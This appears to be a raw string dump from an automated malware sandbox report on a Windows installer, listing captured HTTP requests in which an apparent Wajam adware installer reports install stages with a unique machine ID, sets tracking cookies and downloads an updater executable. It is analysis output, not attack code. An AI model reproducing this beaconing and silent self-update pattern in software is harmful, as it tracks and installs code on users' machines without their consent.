eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee,MZ@!L!This program cannot be run in DOS mode.

Ansi based on Dropped File (nsqE177.tmp)

gdedemfdeeeedfjcdedikceeddhl

Ansi based on Dropped File (nsqE177.tmp)

GDI32.dll

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Generation

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

GET /addon/flags?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&r=42465 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=112079874.1.10.1560959461; __utmc=112079874; __utmz=112079874.1560959461.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /ajax/libs/jquery/1.7/jquery.min.js?1.00434.0 HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: ajax.googleapis.comDNT: 1Connection: Keep-Alive

Ansi based on PCAP Processing (PCAP)

GET /ajax/libs/jqueryui/1.8.16/jquery-ui.js?1.00434.0 HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: ajax.googleapis.comDNT: 1Connection: Keep-Alive

Ansi based on PCAP Processing (PCAP)

GET /css/min_fancybox.css?1.00434.0 HTTP/1.1Accept: text/css, */*Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /css/min_general.css?1.00434.0 HTTP/1.1Accept: text/css, */*Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /css/min_signup.css?1.00434.0 HTTP/1.1Accept: text/css, */*Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /css/webfonts/F37F5_0.eot? HTTP/1.1Accept: */*Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: http://www.wajam.comAccept-Encoding: gzip, deflateHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: _wau=15609585538671540; _wal=1560958626; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /css/webfonts/F37F5_1.eot? HTTP/1.1Accept: */*Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: http://www.wajam.comAccept-Encoding: gzip, deflateHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: _wau=15609585538671540; _wal=1560958626; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /css?family=Signika:400,300,600,700 HTTP/1.1Accept: text/css, */*Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: fonts.googleapis.comDNT: 1Connection: Keep-Alive

Ansi based on PCAP Processing (PCAP)

GET /dc.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: stats.g.doubleclick.netIf-Modified-Since: Mon, 13 Nov 2017 20:19:12 GMTConnection: Keep-AliveDNT: 1

Ansi based on Decrypted SSL Data (SSL)

GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=112079874.1.10.1560959461; __utmc=112079874; __utmz=112079874.1560959461.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog

Ansi based on PCAP Processing (PCAP)

GET /GTSGIAG3.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog

Ansi based on PCAP Processing (PCAP)

GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEAz%2B6ADJSnR5hSyii3PbeQE%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog

Ansi based on PCAP Processing (PCAP)

GET /imgs/app/wajam/mainSprite.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: media-c9hg3zwqygdshhtrps.stackpathdns.comDNT: 1Connection: Keep-Alive

Ansi based on PCAP Processing (PCAP)

GET /imgs/fancybox/blank.gif HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: media-c9hg3zwqygdshhtrps.stackpathdns.comDNT: 1Connection: Keep-Alive

Ansi based on PCAP Processing (PCAP)

GET /imgs/feedback.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /imgs/header_bkg.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: media-c9hg3zwqygdshhtrps.stackpathdns.comDNT: 1Connection: Keep-Alive

Ansi based on PCAP Processing (PCAP)

GET /imgs/subHeader_bkg.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: media-c9hg3zwqygdshhtrps.stackpathdns.comDNT: 1Connection: Keep-Alive

Ansi based on PCAP Processing (PCAP)

GET /index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: _wau=15609585538671540; _wal=1560958585

Ansi based on PCAP Processing (PCAP)

GET /index.php?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&firstrun=1&install_timestamp=1560965831&r=22927 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=112079874.1.10.1560959461; __utmc=112079874; __utmz=112079874.1560959461.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /installer/finish?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: www.wajam.comConnection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958626; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; APPSESSID=w3|XQpWo|XQpWf

Ansi based on PCAP Processing (PCAP)

GET /installer/post_install?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: www.wajam.comConnection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958555; APPSESSID=w3|XQpWg|XQpWf

Ansi based on PCAP Processing (PCAP)

GET /installer/progress?section=100&aid=&aid2=&unique_id=&tv=1.92-13&install_timestamp= HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: www.wajam.comConnection: Keep-AliveCache-Control: no-cache

Ansi based on PCAP Processing (PCAP)

GET /installer/start?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: www.wajam.comConnection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958553; APPSESSID=w3|XQpWf|XQpWf

Ansi based on PCAP Processing (PCAP)

GET /js/min_fancybox.js?1.00434.0 HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /js/min_general_en.js?1.00434.0 HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /js/min_signup_page.js?1.00434.0 HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /r/__utm.gif?utmwv=5.7.2dc&utms=1&utmn=36371105&utmhn=www.wajam.com&utmcs=utf-8&utmsr=1024x611&utmvp=687x323&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=27.0%20r0&utmdt=Wajam.com%20%7C%20Home%20-%20Get%20Social%20Recommendations%20From%20Your%20Friends&utmhid=1521839664&utmr=-&utmp=%2Findex.php%3Ffirstrun%3D1%26unique_id%3DC7C92D87F1EF2BC54BF1F382E5949857%26aid%3D3673%26aid2%3Dnone%26enabled%3D1%26tv%3D1.92-13%26install_timestamp%3D1560965831%26clp%3D&utmht=1560959520206&utmac=UA-24279481-1&utmcc=__utma%3D112079874.1104058905.1560959461.1560959461.1560959461.1%3B%2B__utmz%3D112079874.1560959461.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&utmjid=368360618&utmredir=3&utmu=qhAAAAAAAAAAAAAAAAAAAAAE~ HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: stats.g.doubleclick.netConnection: Keep-AliveDNT: 1

Ansi based on Decrypted SSL Data (SSL)

GET /settings HTTP/1.1Accept: */*Referer: https://platform.twitter.com/widgets/widget_iframe.d753e00c3e838c1b2558149bd3f6ecb8.html?origin=http%3A%2F%2Fwww.wajam.comAccept-Language: en-USOrigin: https://platform.twitter.comAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: syndication.twitter.comDNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: personalization_id="v1_klJqB00qZ2y8VHUHD/E+KQ=="; guest_id=v1%3A151245755858269842

Ansi based on Decrypted SSL Data (SSL)

GET /supported_urls_list.php?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&r=76714 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.wajam.comDNT: 1Connection: Keep-AliveCookie: PHPSESSID=239dc928casm20ommfnjagevfd; _wau=15609585538671540; _wal=1560958593; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; __utma=112079874.1104058905.1560959461.1560959461.1560959461.1; __utmb=112079874.1.10.1560959461; __utmc=112079874; __utmz=112079874.1560959461.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Ansi based on PCAP Processing (PCAP)

GET /update/Updater/wajam_update.exe HTTP/1.1Accept: */*If-Modified-Since: Tue, 18 Jun 2019 15:49:00 +0000Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.wajam.comConnection: Keep-Alive

Ansi based on PCAP Processing (PCAP)

GET /widgets.js?1.00434.0 HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: platform.twitter.comDNT: 1Connection: Keep-AliveCookie: personalization_id="v1_klJqB00qZ2y8VHUHD/E+KQ=="; guest_id=v1%3A151245755858269842

Ansi based on PCAP Processing (PCAP)

